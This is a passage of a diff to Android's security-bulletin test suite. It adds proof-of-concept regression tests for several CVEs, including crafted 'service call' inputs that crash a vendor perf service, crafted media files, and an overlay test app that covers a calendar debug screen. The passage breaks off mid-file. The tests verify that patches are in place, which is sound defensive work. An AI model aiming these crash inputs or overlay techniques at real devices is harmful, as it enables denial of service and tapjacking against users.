+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.security.cts;
+
+import static org.junit.Assume.assumeNoException;
+
+import android.platform.test.annotations.AsbSecurityTest;
+
+import com.android.sts.common.tradefed.testtype.NonRootSecurityTestCase;
+import com.android.tradefed.device.ITestDevice;
+import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
+
+import org.junit.After;
+import org.junit.Test;
+import org.junit.runner.RunWith;
+
+@RunWith(DeviceJUnit4ClassRunner.class)
+public class CVE_2022_20501 extends NonRootSecurityTestCase {
+    private ITestDevice mDevice;
+
+    /**
+     * b/246933359
+     * Vulnerable app       : Telecom.apk
+     * Vulnerable module    : com.android.server.telecom
+     * Is Play managed      : No
+     */
+    @AsbSecurityTest(cveBugId = 246933359)
+    @Test
+    public void testPocCVE_2022_20501() {
+        try {
+            final String testPkg = "android.security.cts.CVE_2022_20501";
+            mDevice = getDevice();
+            installPackage("CVE-2022-20501.apk");
+
+            // Wake up the device
+            AdbUtils.runCommandLine("input keyevent KEYCODE_WAKEUP && wm dismiss-keyguard",
+                    mDevice);
+
+            AdbUtils.runCommandLine(
+                    "pm grant " + testPkg + " android.permission.SYSTEM_ALERT_WINDOW", mDevice);
+            runDeviceTests(testPkg, testPkg + ".DeviceTest", "testOverlayButtonPresence");
+        } catch (Exception e) {
+            assumeNoException(e);
+        }
+    }
+
+    @After
+    public void tearDown() {
+        try {
+            AdbUtils.runCommandLine("input keyevent KEYCODE_HOME", mDevice);
+        } catch (Exception ignored) {
+        }
+    }
+}
diff --git a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2022_22082.java b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2022_22082.java
index a0200f1..cc3fd42 100644
--- a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2022_22082.java
+++ b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2022_22082.java
@@ -20,6 +20,7 @@
 import android.platform.test.annotations.AsbSecurityTest;
 
 import com.android.sts.common.tradefed.testtype.NonRootSecurityTestCase;
+import com.android.sts.common.util.TombstoneUtils;
 import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
 
 import org.junit.Test;
@@ -39,12 +40,13 @@
          */
         safeReboot();
         AdbUtils.pushResource("/cve_2022_22082.dsf", "/sdcard/cve_2022_22082.dsf", getDevice());
-        AdbUtils.runCommandLine("logcat -c", getDevice());
-        AdbUtils.runCommandLine(
-                "am start -a android.intent.action.VIEW -t audio/dsf -d"
-                        + " file:///sdcard/cve_2022_22082.dsf",
-                getDevice());
-        Thread.sleep(10000);
-        AdbUtils.assertNoCrashes(getDevice(), "media.extractor");
+        TombstoneUtils.Config config = new TombstoneUtils.Config().setProcessPatterns("media.extractor");
+        try (AutoCloseable a = TombstoneUtils.withAssertNoSecurityCrashes(getDevice(), config)) {
+            AdbUtils.runCommandLine(
+                    "am start -a android.intent.action.VIEW -t audio/dsf -d"
+                            + " file:///sdcard/cve_2022_22082.dsf",
+                    getDevice());
+            Thread.sleep(10000);
+        }
     }
 }
diff --git a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2023_20918.java b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2023_20918.java
new file mode 100644
index 0000000..659c002
--- /dev/null
+++ b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2023_20918.java
@@ -0,0 +1,57 @@
+/*
+ * Copyright (C) 2022 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.security.cts;
+
+import static org.junit.Assume.assumeNoException;
+
+import android.platform.test.annotations.AsbSecurityTest;
+
+import com.android.sts.common.SystemUtil;
+import com.android.sts.common.tradefed.testtype.NonRootSecurityTestCase;
+import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
+
+import org.junit.Test;
+import org.junit.runner.RunWith;
+
+@RunWith(DeviceJUnit4ClassRunner.class)
+public class CVE_2023_20918 extends NonRootSecurityTestCase {
+
+    // b/243794108
+    // Vulnerable library : services.jar
+    // Vulnerable module  : Not applicable
+    // Is Play Managed    : No
+    @AsbSecurityTest(cveBugId = 243794108)
+    @Test
+    public void testPocCVE_2023_20918() {
+        try {
+            final String testPkg = "android.security.cts.CVE_2023_20918_test";
+
+            // Install the test and attacker apps
+            installPackage("CVE-2023-20918-test.apk");
+            installPackage("CVE-2023-20918-attacker.apk");
+
+            // Allow access to hidden api "ActivityOptions#setPendingIntentLaunchFlags()"
+            try (AutoCloseable closable =
+                    SystemUtil.withSetting(getDevice(), "global", "hidden_api_policy", "1")) {
+                // Run the test "testCVE_2023_20918"
+                runDeviceTests(testPkg, testPkg + ".DeviceTest", "testCVE_2023_20918");
+            }
+        } catch (Exception e) {
+            assumeNoException(e);
+        }
+    }
+}
diff --git a/hostsidetests/securitybulletin/src/android/security/cts/Poc17_11.java b/hostsidetests/securitybulletin/src/android/security/cts/Poc17_11.java
index 4d406b7..ca50ea8 100644
--- a/hostsidetests/securitybulletin/src/android/security/cts/Poc17_11.java
+++ b/hostsidetests/securitybulletin/src/android/security/cts/Poc17_11.java
@@ -21,6 +21,7 @@
 import android.platform.test.annotations.AsbSecurityTest;
 
 import com.android.sts.common.tradefed.testtype.NonRootSecurityTestCase;
+import com.android.sts.common.util.TombstoneUtils;
 import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
 
 import org.junit.Test;
@@ -35,13 +36,14 @@
     @Test
     @AsbSecurityTest(cveBugId = 36075131)
     public void testPocCVE_2017_0859() throws Exception {
-        AdbUtils.runCommandLine("logcat -c", getDevice());
         AdbUtils.pushResource("/cve_2017_0859.mp4", "/sdcard/cve_2017_0859.mp4", getDevice());
-        AdbUtils.runCommandLine("am start -a android.intent.action.VIEW " +
-                                    "-d file:///sdcard/cve_2017_0859.mp4" +
-                                    " -t audio/amr", getDevice());
-        // Wait for intent to be processed before checking logcat
-        Thread.sleep(5000);
-        AdbUtils.assertNoCrashes(getDevice(), "mediaserver");
+        TombstoneUtils.Config config = new TombstoneUtils.Config().setProcessPatterns("mediaserver");
+        try (AutoCloseable a = TombstoneUtils.withAssertNoSecurityCrashes(getDevice(), config)) {
+            AdbUtils.runCommandLine("am start -a android.intent.action.VIEW " +
+                                        "-d file:///sdcard/cve_2017_0859.mp4" +
+                                        " -t audio/amr", getDevice());
+            // Wait for intent to be processed before checking logcat
+            Thread.sleep(5000);
+        }
     }
 }
diff --git a/hostsidetests/securitybulletin/src/android/security/cts/Poc20_06.java b/hostsidetests/securitybulletin/src/android/security/cts/Poc20_06.java
index 3f2d1d0..32d8251 100644
--- a/hostsidetests/securitybulletin/src/android/security/cts/Poc20_06.java
+++ b/hostsidetests/securitybulletin/src/android/security/cts/Poc20_06.java
@@ -17,10 +17,12 @@
 package android.security.cts;
 
 import static org.junit.Assert.*;
+import static org.junit.Assume.assumeTrue;
 
 import android.platform.test.annotations.AsbSecurityTest;
 
 import com.android.sts.common.tradefed.testtype.NonRootSecurityTestCase;
+import com.android.sts.common.util.TombstoneUtils;
 import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
 
 import org.junit.Test;
@@ -36,13 +38,11 @@
     @AsbSecurityTest(cveBugId = 148817146)
     public void testPocCVE_2020_3635() throws Exception {
         String isApplicable = AdbUtils.runCommandLine("service list", getDevice());
-        if (isApplicable.contains("com.qualcomm.qti.IPerfManager")) {
-            AdbUtils.runCommandLine("logcat -c", getDevice());
+        assumeTrue(isApplicable.contains("com.qualcomm.qti.IPerfManager"));
+        TombstoneUtils.Config config = new TombstoneUtils.Config().setProcessPatterns("perfservice");
+        try (AutoCloseable a = TombstoneUtils.withAssertNoSecurityCrashes(getDevice(), config)) {
             AdbUtils.runCommandLine(
                     "service call vendor.perfservice 4 i32 1 i64 4702394920265069920", getDevice());
-            String logcatOut = AdbUtils.runCommandLine("logcat -d", getDevice());
-            assertNotMatchesMultiLine(
-                    "Fatal signal 11 \\(SIGSEGV\\).*?>>> /system/bin/perfservice <<<", logcatOut);
         }
     }
 
@@ -79,11 +79,11 @@
     @AsbSecurityTest(cveBugId = 152310294)
     public void testPocCVE_2020_3676() throws Exception {
         String isApplicable = AdbUtils.runCommandLine("service list", getDevice());
-        if (isApplicable.contains("com.qualcomm.qti.IPerfManager")) {
-            AdbUtils.runCommandLine("logcat -c", getDevice());
+        assumeTrue(isApplicable.contains("com.qualcomm.qti.IPerfManager"));
+        TombstoneUtils.Config config = new TombstoneUtils.Config().setProcessPatterns("perfservice");
+        try (AutoCloseable a = TombstoneUtils.withAssertNoSecurityCrashes(getDevice(), config)) {
             AdbUtils.runCommandLine(
                     "service call vendor.perfservice 4 i32 2442302356 i64 -2", getDevice());
-            AdbUtils.assertNoCrashes(getDevice(), "perfservice");
         }
     }
 }
diff --git a/hostsidetests/securitybulletin/src/android/security/cts/TestMedia.java b/hostsidetests/securitybulletin/src/android/security/cts/TestMedia.java
index 91c84d7..cc33604 100644
--- a/hostsidetests/securitybulletin/src/android/security/cts/TestMedia.java
+++ b/hostsidetests/securitybulletin/src/android/security/cts/TestMedia.java
@@ -23,8 +23,8 @@
 
 import android.platform.test.annotations.AsbSecurityTest;
 
-import com.android.compatibility.common.util.CrashUtils;
 import com.android.sts.common.tradefed.testtype.NonRootSecurityTestCase;
+import com.android.sts.common.util.TombstoneUtils;
 import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
 
 import junit.framework.Assert;
@@ -124,10 +124,14 @@
     @Test
     @AsbSecurityTest(cveBugId = 156997193)
     public void testPocCVE_2020_0409() throws Exception {
-        String signals[] = {CrashUtils.SIGSEGV, CrashUtils.SIGBUS, CrashUtils.SIGABRT};
+        String signals[] = {
+            TombstoneUtils.Signals.SIGSEGV,
+            TombstoneUtils.Signals.SIGBUS,
+            TombstoneUtils.Signals.SIGABRT,
+        };
         String binaryName = "CVE-2020-0409";
         AdbUtils.pocConfig testConfig = new AdbUtils.pocConfig(binaryName, getDevice());
-        testConfig.config = new CrashUtils.Config().setProcessPatterns(binaryName);
+        testConfig.config = new TombstoneUtils.Config().setProcessPatterns(binaryName);
         testConfig.config.setSignals(signals);
         AdbUtils.runPocAssertNoCrashesNotVulnerable(testConfig);
     }
@@ -139,10 +143,14 @@
     @Test
     @AsbSecurityTest(cveBugId = 161894517)
     public void testPocCVE_2020_0421() throws Exception {
-        String signals[] = {CrashUtils.SIGSEGV, CrashUtils.SIGBUS, CrashUtils.SIGABRT};
+        String signals[] = {
+            TombstoneUtils.Signals.SIGSEGV,
+            TombstoneUtils.Signals.SIGBUS,
+            TombstoneUtils.Signals.SIGABRT,
+        };
         String binaryName = "CVE-2020-0421";
         AdbUtils.pocConfig testConfig = new AdbUtils.pocConfig(binaryName, getDevice());
-        testConfig.config = new CrashUtils.Config().setProcessPatterns(binaryName);
+        testConfig.config = new TombstoneUtils.Config().setProcessPatterns(binaryName);
         testConfig.config.setSignals(signals);
         AdbUtils.runPocAssertNoCrashesNotVulnerable(testConfig);
     }
@@ -259,7 +267,11 @@
     @Test
     @AsbSecurityTest(cveBugId = 74122779)
     public void testPocCVE_2018_9428() throws Exception {
-        String signals[] = {CrashUtils.SIGSEGV, CrashUtils.SIGBUS, CrashUtils.SIGABRT};
+        String signals[] = {
+            TombstoneUtils.Signals.SIGSEGV,
+            TombstoneUtils.Signals.SIGBUS,
+            TombstoneUtils.Signals.SIGABRT,
+        };
         AdbUtils.pocConfig testConfig = new AdbUtils.pocConfig("CVE-2018-9428", getDevice());
     }
 
@@ -270,9 +282,13 @@
     @Test
     @AsbSecurityTest(cveBugId = 64340921)
     public void testPocCVE_2017_0837() throws Exception {
-        String signals[] = {CrashUtils.SIGSEGV, CrashUtils.SIGBUS, CrashUtils.SIGABRT};
+        String signals[] = {
+            TombstoneUtils.Signals.SIGSEGV,
+            TombstoneUtils.Signals.SIGBUS,
+            TombstoneUtils.Signals.SIGABRT,
+        };
         AdbUtils.pocConfig testConfig = new AdbUtils.pocConfig("CVE-2017-0837", getDevice());
-        testConfig.config = new CrashUtils.Config().setProcessPatterns("audioserver");
+        testConfig.config = new TombstoneUtils.Config().setProcessPatterns("audioserver");
         testConfig.config.setSignals(signals);
         AdbUtils.runPocAssertNoCrashesNotVulnerable(testConfig);
     }
@@ -287,9 +303,13 @@
     @AsbSecurityTest(cveBugId = 62151041)
     public void testPocCVE_2018_9466_CVE_2017_9047() throws Exception {
         String binaryName = "CVE-2018-9466-CVE-2017-9047";
-        String signals[] = {CrashUtils.SIGSEGV, CrashUtils.SIGBUS, CrashUtils.SIGABRT};
+        String signals[] = {
+            TombstoneUtils.Signals.SIGSEGV,
+            TombstoneUtils.Signals.SIGBUS,
+            TombstoneUtils.Signals.SIGABRT,
+        };
         AdbUtils.pocConfig testConfig = new AdbUtils.pocConfig(binaryName, getDevice());
-        testConfig.config = new CrashUtils.Config().setProcessPatterns(binaryName);
+        testConfig.config = new TombstoneUtils.Config().setProcessPatterns(binaryName);
         testConfig.config.setSignals(signals);
         AdbUtils.runPocAssertNoCrashesNotVulnerable(testConfig);
     }
@@ -301,9 +321,13 @@
     @AsbSecurityTest(cveBugId = 62151041)
     public void testPocCVE_2018_9466_CVE_2017_9048() throws Exception {
         String binaryName = "CVE-2018-9466-CVE-2017-9048";
-        String signals[] = {CrashUtils.SIGSEGV, CrashUtils.SIGBUS, CrashUtils.SIGABRT};
+        String signals[] = {
+            TombstoneUtils.Signals.SIGSEGV,
+            TombstoneUtils.Signals.SIGBUS,
+            TombstoneUtils.Signals.SIGABRT,
+        };
         AdbUtils.pocConfig testConfig = new AdbUtils.pocConfig(binaryName, getDevice());
-        testConfig.config = new CrashUtils.Config().setProcessPatterns(binaryName);
+        testConfig.config = new TombstoneUtils.Config().setProcessPatterns(binaryName);
         testConfig.config.setSignals(signals);
         AdbUtils.runPocAssertNoCrashesNotVulnerable(testConfig);
     }
@@ -316,9 +340,13 @@
     public void testPocCVE_2018_9466_CVE_2017_9049() throws Exception {
         String binaryName = "CVE-2018-9466-CVE-2017-9049";
         String inputFiles[] = {"cve_2018_9466_cve_2017_9049.xml"};
-        String signals[] = {CrashUtils.SIGSEGV, CrashUtils.SIGBUS, CrashUtils.SIGABRT};
+        String signals[] = {
+            TombstoneUtils.Signals.SIGSEGV,
+            TombstoneUtils.Signals.SIGBUS,
+            TombstoneUtils.Signals.SIGABRT,
+        };
         AdbUtils.pocConfig testConfig = new AdbUtils.pocConfig(binaryName, getDevice());
-        testConfig.config = new CrashUtils.Config().setProcessPatterns(binaryName);
+        testConfig.config = new TombstoneUtils.Config().setProcessPatterns(binaryName);
         testConfig.config.setSignals(signals);
         testConfig.arguments = AdbUtils.TMP_PATH + inputFiles[0];
         testConfig.inputFiles = Arrays.asList(inputFiles);
@@ -334,9 +362,13 @@
     public void testPocCVE_2018_9466_CVE_2017_9050() throws Exception {
         String binaryName = "CVE-2018-9466-CVE-2017-9049";
         String inputFiles[] = {"cve_2018_9466_cve_2017_9050.xml"};
-        String signals[] = {CrashUtils.SIGSEGV, CrashUtils.SIGBUS, CrashUtils.SIGABRT};
+        String signals[] = {
+            TombstoneUtils.Signals.SIGSEGV,
+            TombstoneUtils.Signals.SIGBUS,
+            TombstoneUtils.Signals.SIGABRT,
+        };
         AdbUtils.pocConfig testConfig = new AdbUtils.pocConfig(binaryName, getDevice());
-        testConfig.config = new CrashUtils.Config().setProcessPatterns(binaryName);
+        testConfig.config = new TombstoneUtils.Config().setProcessPatterns(binaryName);
         testConfig.config.setSignals(signals);
         testConfig.arguments = AdbUtils.TMP_PATH + inputFiles[0];
         testConfig.inputFiles = Arrays.asList(inputFiles);
@@ -353,9 +385,13 @@
     public void testPocCVE_2015_3873() throws Exception {
         String inputFiles[] = {"cve_2015_3873.mp4"};
         String binaryName = "CVE-2015-3873";
-        String signals[] = {CrashUtils.SIGSEGV, CrashUtils.SIGBUS, CrashUtils.SIGABRT};
+        String signals[] = {
+            TombstoneUtils.Signals.SIGSEGV,
+            TombstoneUtils.Signals.SIGBUS,
+            TombstoneUtils.Signals.SIGABRT,
+        };
         AdbUtils.pocConfig testConfig = new AdbUtils.pocConfig(binaryName, getDevice());
-        testConfig.config = new CrashUtils.Config().setProcessPatterns(binaryName);
+        testConfig.config = new TombstoneUtils.Config().setProcessPatterns(binaryName);
         testConfig.config.setSignals(signals);
         testConfig.arguments = AdbUtils.TMP_PATH + inputFiles[0];
         testConfig.inputFiles = Arrays.asList(inputFiles);
@@ -498,9 +534,13 @@
         assumeFalse(moduleIsPlayManaged("com.google.android.media.swcodec"));
         String inputFiles[] = {"cve_2020_0451.aac"};
         String binaryName = "CVE-2020-0451";
-        String signals[] = {CrashUtils.SIGSEGV, CrashUtils.SIGBUS, CrashUtils.SIGABRT};
+        String signals[] = {
+            TombstoneUtils.Signals.SIGSEGV,
+            TombstoneUtils.Signals.SIGBUS,
+            TombstoneUtils.Signals.SIGABRT,
+        };
         AdbUtils.pocConfig testConfig = new AdbUtils.pocConfig(binaryName, getDevice());
-        testConfig.config = new CrashUtils.Config().setProcessPatterns(binaryName);
+        testConfig.config = new TombstoneUtils.Config().setProcessPatterns(binaryName);
         testConfig.config.setSignals(signals);
         testConfig.arguments = AdbUtils.TMP_PATH + inputFiles[0];
         testConfig.inputFiles = Arrays.asList(inputFiles);
@@ -548,10 +588,14 @@
     @Test
     @AsbSecurityTest(cveBugId = 120426980)
     public void testPocCVE_2019_9362() throws Exception {
-        String signals[] = {CrashUtils.SIGSEGV, CrashUtils.SIGBUS, CrashUtils.SIGABRT};
+        String signals[] = {
+            TombstoneUtils.Signals.SIGSEGV,
+            TombstoneUtils.Signals.SIGBUS,
+            TombstoneUtils.Signals.SIGABRT,
+        };
         String binaryName = "CVE-2019-9362";
         AdbUtils.pocConfig testConfig = new AdbUtils.pocConfig(binaryName, getDevice());
-        testConfig.config = new CrashUtils.Config().setProcessPatterns(binaryName);
+        testConfig.config = new TombstoneUtils.Config().setProcessPatterns(binaryName);
         testConfig.config.setSignals(signals);
         AdbUtils.runPocAssertNoCrashesNotVulnerable(testConfig);
     }
@@ -565,9 +609,13 @@
     public void testPocCVE_2019_9308() throws Exception {
         String inputFiles[] = {"cve_2019_9308.mp4"};
         String binaryName = "CVE-2019-9308";
-        String signals[] = {CrashUtils.SIGSEGV, CrashUtils.SIGBUS, CrashUtils.SIGABRT};
+        String signals[] = {
+            TombstoneUtils.Signals.SIGSEGV,
+            TombstoneUtils.Signals.SIGBUS,
+            TombstoneUtils.Signals.SIGABRT,
+        };
         AdbUtils.pocConfig testConfig = new AdbUtils.pocConfig(binaryName, getDevice());
-        testConfig.config = new CrashUtils.Config().setProcessPatterns(binaryName);
+        testConfig.config = new TombstoneUtils.Config().setProcessPatterns(binaryName);
         testConfig.config.setSignals(signals);
         testConfig.arguments = AdbUtils.TMP_PATH + inputFiles[0];
         testConfig.inputFiles = Arrays.asList(inputFiles);
@@ -582,10 +630,14 @@
     @Test
     @AsbSecurityTest(cveBugId = 112662995)
     public void testPocCVE_2019_9357() throws Exception {
-        String signals[] = {CrashUtils.SIGSEGV, CrashUtils.SIGBUS, CrashUtils.SIGABRT};
+        String signals[] = {
+            TombstoneUtils.Signals.SIGSEGV,
+            TombstoneUtils.Signals.SIGBUS,
+            TombstoneUtils.Signals.SIGABRT,
+        };
         String binaryName = "CVE-2019-9357";
         AdbUtils.pocConfig testConfig = new AdbUtils.pocConfig(binaryName, getDevice());
-        testConfig.config = new CrashUtils.Config().setProcessPatterns(binaryName);
+        testConfig.config = new TombstoneUtils.Config().setProcessPatterns(binaryName);
         testConfig.config.setSignals(signals);
         AdbUtils.runPocAssertNoCrashesNotVulnerable(testConfig);
     }
diff --git a/hostsidetests/securitybulletin/test-apps/CVE-2021-0642/Android.bp b/hostsidetests/securitybulletin/test-apps/CVE-2021-0487/Android.bp
similarity index 93%
rename from hostsidetests/securitybulletin/test-apps/CVE-2021-0642/Android.bp
rename to hostsidetests/securitybulletin/test-apps/CVE-2021-0487/Android.bp
index 50acd29..14d6baf 100644
--- a/hostsidetests/securitybulletin/test-apps/CVE-2021-0642/Android.bp
+++ b/hostsidetests/securitybulletin/test-apps/CVE-2021-0487/Android.bp
@@ -20,11 +20,13 @@
 }
 
 android_test_helper_app {
-    name: "CVE-2021-0642",
+    name: "CVE-2021-0487",
     defaults: [
         "cts_support_defaults",
     ],
-    srcs: ["src/**/*.java"],
+    srcs: [
+        "src/**/*.java",
+    ],
     test_suites: [
         "sts",
     ],
diff --git a/hostsidetests/securitybulletin/test-apps/CVE-2021-0487/AndroidManifest.xml b/hostsidetests/securitybulletin/test-apps/CVE-2021-0487/AndroidManifest.xml
new file mode 100644
index 0000000..5c5934c
--- /dev/null
+++ b/hostsidetests/securitybulletin/test-apps/CVE-2021-0487/AndroidManifest.xml
@@ -0,0 +1,26 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!--
+  Copyright 2022 The Android Open Source Project
+
+  Licensed under the Apache License, Version 2.0 (the "License");
+  you may not use this file except in compliance with the License.
+  You may obtain a copy of the License at
+
+       http://www.apache.org/licenses/LICENSE-2.0
+
+  Unless required by applicable law or agreed to in writing, software
+  distributed under the License is distributed on an "AS IS" BASIS,
+  WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+  See the License for the specific language governing permissions and
+  limitations under the License.
+  -->
+
+<manifest xmlns:android="http://schemas.android.com/apk/res/android"
+    package="android.security.cts.CVE_2021_0487">
+    <uses-permission android:name="android.permission.SYSTEM_ALERT_WINDOW" />
+    <application>
+        <service android:name=".PocService" />
+    </application>
+   <instrumentation android:name="androidx.test.runner.AndroidJUnitRunner"
+        android:targetPackage="android.security.cts.CVE_2021_0487" />
+</manifest>
diff --git a/hostsidetests/securitybulletin/test-apps/CVE-2021-0642/res/layout/activity_main.xml b/hostsidetests/securitybulletin/test-apps/CVE-2021-0487/res/values/integers.xml
similarity index 64%
copy from hostsidetests/securitybulletin/test-apps/CVE-2021-0642/res/layout/activity_main.xml
copy to hostsidetests/securitybulletin/test-apps/CVE-2021-0487/res/values/integers.xml
index 7460b96..de5f253 100644
--- a/hostsidetests/securitybulletin/test-apps/CVE-2021-0642/res/layout/activity_main.xml
+++ b/hostsidetests/securitybulletin/test-apps/CVE-2021-0487/res/values/integers.xml
@@ -14,13 +14,8 @@
   See the License for the specific language governing permissions and
   limitations under the License.
   -->
-<LinearLayout
-    xmlns:android="http://schemas.android.com/apk/res/android"
-        android:orientation="vertical"
-        android:layout_width="match_parent"
-        android:layout_height="match_parent">
-    <View
-        android:id="@+id/drawableview"
-        android:layout_width="match_parent"
-        android:layout_height="300dp" />
-</LinearLayout>
+
+<resources>
+    <integer name="assumptionFailure">-1</integer>
+    <integer name="pass">0</integer>
+</resources>
diff --git a/hostsidetests/securitybulletin/test-apps/CVE-2021-0487/res/values/strings.xml b/hostsidetests/securitybulletin/test-apps/CVE-2021-0487/res/values/strings.xml
new file mode 100644
index 0000000..4d4098d
--- /dev/null
+++ b/hostsidetests/securitybulletin/test-apps/CVE-2021-0487/res/values/strings.xml
@@ -0,0 +1,34 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!--
+  Copyright 2022 The Android Open Source Project
+
+  Licensed under the Apache License, Version 2.0 (the "License");
+  you may not use this file except in compliance with the License.
+  You may obtain a copy of the License at
+
+       http://www.apache.org/licenses/LICENSE-2.0
+
+  Unless required by applicable law or agreed to in writing, software
+  distributed under the License is distributed on an "AS IS" BASIS,
+  WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+  See the License for the specific language governing permissions and
+  limitations under the License.
+  -->
+
+<resources>
+    <string name="broadcastReceiverCalendar">CalendarProviderBroadcastReceiver</string>
+    <string name="calendarClsName">%1$s.CalendarDebugActivity</string>
+    <string name="canNotDrawOverlaysMsg">The application cannot draw overlays</string>
+    <string name="defaultSemaphoreMsg">Could not get message key in shared preferences</string>
+    <string name="dumpsysActivity">dumpsys activity %1$s</string>
+    <string name="errorMessage">Device is vulnerable to b/174046397 hence any app with
+    "SYSTEM_ALERT_WINDOW" can overlay the CalendarDebugActivity screen</string>
+    <string name="messageKey">message</string>
+    <string name="overlayButtonText">OverlayButton</string>
+    <string name="overlayUiScreenError">Overlay UI did not appear on the screen</string>
+    <string name="resultKey">result</string>
+    <string name="resumedTrue">mResumed=true</string>
+    <string name="sharedPreferences">CVE_2021_0487_prefs</string>
+    <string name="vulActivityNotRunningError">The CalendarDebugActivity is not currently
+    running on the device</string>
+</resources>
diff --git a/hostsidetests/securitybulletin/test-apps/CVE-2021-0487/src/android/security/cts/CVE_2021_0487/DeviceTest.java b/hostsidetests/securitybulletin/test-apps/CVE-2021-0487/src/android/security/cts/CVE_2021_0487/DeviceTest.java
new file mode 100644
index 0000000..0a3e65d
--- /dev/null
+++ b/hostsidetests/securitybulletin/test-apps/CVE-2021-0487/src/android/security/cts/CVE_2021_0487/DeviceTest.java
@@ -0,0 +1,148 @@
+/*
+ * Copyright (C) 2022 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.security.cts.CVE_2021_0487;
+
+import static android.provider.CalendarContract.ACTION_EVENT_REMINDER;
+import static android.provider.CalendarContract.CONTENT_URI;
+
+import static androidx.test.core.app.ApplicationProvider.getApplicationContext;
+import static androidx.test.platform.app.InstrumentationRegistry.getInstrumentation;
+
+import static org.junit.Assert.assertTrue;
+import static org.junit.Assume.assumeNoException;
+import static org.junit.Assume.assumeNotNull;
+import static org.junit.Assume.assumeTrue;
+
+import android.content.Context;
+import android.content.Intent;
+import android.content.pm.PackageManager;
+import android.content.pm.ResolveInfo;
+import android.content.SharedPreferences;
+import android.content.SharedPreferences.OnSharedPreferenceChangeListener;
+import android.content.res.Resources;
+import android.net.Uri;
+import android.provider.Settings;
+
+import androidx.test.runner.AndroidJUnit4;
+import androidx.test.uiautomator.By;
+import androidx.test.uiautomator.UiDevice;
+import androidx.test.uiautomator.Until;
+
+import org.junit.Test;
+import org.junit.runner.RunWith;
+
+import java.util.List;
+import java.util.concurrent.Semaphore;
+import java.util.concurrent.TimeUnit;
+import java.util.regex.Pattern;
+
+@RunWith(AndroidJUnit4.class)
+public class DeviceTest {
+    private static final int LAUNCH_TIMEOUT_MS = 10000;
+    private String mVulnerablePkgName = "";
+    private Context mContext = getApplicationContext();
+    Resources mResources;
+
+    private void startOverlayService() {
+        Intent intent = new Intent(mContext, PocService.class);
+        assumeTrue(mContext.getString(R.string.canNotDrawOverlaysMsg),
+                Settings.canDrawOverlays(mContext));
+        intent.addFlags(Intent.FLAG_ACTIVITY_NEW_TASK);
+        mContext.startService(intent);
+    }
+
+    private void startVulnerableActivity() {
+        Intent intent = new Intent(ACTION_EVENT_REMINDER);
+        Intent vulnPkgNameIntent = new Intent();
+        intent.setData(CONTENT_URI);
+        PackageManager pm = mContext.getPackageManager();
+        List<ResolveInfo> ris = pm.queryBroadcastReceivers(intent, 0);
+        for (ResolveInfo ri : ris) {
+            if (ri.activityInfo.name
+                    .contains(mContext.getString(R.string.broadcastReceiverCalendar))) {
+                mVulnerablePkgName = ri.activityInfo.packageName;
+            }
+        }
+        vulnPkgNameIntent.setClassName(mVulnerablePkgName,
+                mContext.getString(R.string.calendarClsName, mVulnerablePkgName));
+        vulnPkgNameIntent.addFlags(Intent.FLAG_ACTIVITY_NEW_TASK);
+        mContext.startActivity(vulnPkgNameIntent);
+    }
+
+    @Test
+    public void testOverlayButtonPresence() {
+        try {
+            UiDevice device = UiDevice.getInstance(getInstrumentation());
+
+            /* Go to home screen */
+            device.pressHome();
+
+            /* Start the overlay service */
+            startOverlayService();
+            mResources = mContext.getResources();
+
+            SharedPreferences sharedPrefs = mContext.getSharedPreferences(
+                    mResources.getString(R.string.sharedPreferences), Context.MODE_APPEND);
+            Semaphore preferenceChanged = new Semaphore(0);
+            OnSharedPreferenceChangeListener listener = new OnSharedPreferenceChangeListener() {
+                @Override
+                public void onSharedPreferenceChanged(SharedPreferences sharedPreferences,
+                        String key) {
+                    if (key.equals(mResources.getString(R.string.resultKey))) {
+                        preferenceChanged.release();
+                    }
+                }
+            };
+            sharedPrefs.registerOnSharedPreferenceChangeListener(listener);
+
+            /* Wait for the overlay service to set some result in shared preferences */
+            assumeTrue(preferenceChanged.tryAcquire(LAUNCH_TIMEOUT_MS, TimeUnit.MILLISECONDS));
+
+            int result = sharedPrefs.getInt(mResources.getString(R.string.resultKey),
+                    mResources.getInteger(R.integer.assumptionFailure));
+            String message = sharedPrefs.getString(mResources.getString(R.string.messageKey),
+                    mResources.getString(R.string.defaultSemaphoreMsg));
